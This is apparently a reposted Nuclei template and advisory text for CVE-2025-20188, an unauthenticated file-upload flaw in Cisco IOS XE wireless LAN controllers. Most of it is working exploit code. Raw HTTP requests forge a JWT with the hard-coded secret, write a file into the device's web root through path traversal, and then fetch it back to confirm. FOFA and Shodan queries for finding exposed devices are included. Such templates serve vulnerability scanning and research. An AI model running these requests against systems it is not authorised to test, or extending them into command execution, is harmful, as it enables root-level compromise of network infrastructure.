A vulnerability in the Out-of-Band Access Point (AP) Image Download feature of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system.This vulnerability is due to the presence of a hard-coded JSON Web Token (JWT) on an affected system.An attacker could exploit this vulnerability by sending crafted HTTPS requests to the AP image download interface. A successful exploit could allow the attacker to upload files, perform path traversal, and execute arbitrary commands with root privileges.
PoC代码[已公开]
id: CVE-2025-20188
info:
name: Cisco IOS XE WLC - Arbitrary File Upload
author: iamnoooob,pdresearch,DhiyaneshDK
severity: critical
description: |
A vulnerability in the Out-of-Band Access Point (AP) Image Download feature of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system.This vulnerability is due to the presence of a hard-coded JSON Web Token (JWT) on an affected system.An attacker could exploit this vulnerability by sending crafted HTTPS requests to the AP image download interface. A successful exploit could allow the attacker to upload files, perform path traversal, and execute arbitrary commands with root privileges.
reference:
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-file-uplpd-rHZG9UfC
- https://horizon3.ai/attack-research/attack-blogs/cisco-ios-xe-wlc-arbitrary-file-upload-vulnerability-cve-2025-20188-analysis/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-20188
cwe-id: CWE-798
epss-score: 0.02226
epss-percentile: 0.83921
metadata:
verified: true
max-request: 2
fofa-query: '"IOS-Self-Signed-Certificate" && port="8443"'
shodan-query: 'http.html_hash:1076109428 ssl.cert.issuer.cn:"IOS-Self-Signed-Certificate" port:8443'
tags: cve,cve2025,cisco,file-upload,intrusive,rce,vkev
flow: |
if (http(1)) {
http(2) && http(3)
}
variables:
exp: "{{unix_time(10000)}}"
secret: "notfound"
payload: '{"reqid":"cdb_token_request_id1","exp":{{exp}}}'
filename: "{{randbase(8)}}"
path: "usr/binos/openresty/nginx/html/"
string: "{{to_lower('{{randstr}}')}}"
http:
- raw:
- |
POST /ap_spec_rec/upload/ HTTP/1.1
Host: {{Hostname}}
Cookie: jwt={{randstr}}
Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf
Accept-Encoding: gzip
--------------------------NCpI6tN3BZW3fz1Y9t2bkf
Content-Disposition: form-data; name="file"; filename="../..{{path}}/{{filename}}.txt"
Content-Type: text/plain
{{string}}
--------------------------NCpI6tN3BZW3fz1Y9t2bkf--
matchers:
- type: dsl
dsl:
- "status_code == 401"
- "contains(body, 'invalid jwt string')"
condition: and
internal: true
- raw:
- |
POST /ap_spec_rec/upload/ HTTP/1.1
Host: {{Hostname}}
Cookie: jwt={{ generate_jwt(payload,"HS256",secret) }}
Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf
Accept-Encoding: gzip
--------------------------NCpI6tN3BZW3fz1Y9t2bkf
Content-Disposition: form-data; name="file"; filename="../../{{path}}{{filename}}.txt"
Content-Type: text/plain
{{string}}
--------------------------NCpI6tN3BZW3fz1Y9t2bkf--
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(header, 'openresty')"
condition: and
- raw:
- |
GET /{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, '{{string}}')"
condition: and
# digest: 490a00463044022033527b19f955d496a677f5a55eaee5288fe6e021d21055961217ee1a11f8a6ac02201ed3eab8fcc66f43749593726b194050c2ddafb42aea4af58ae6b239f79dc7ce:922c64590222798bb761d5b6d8e72950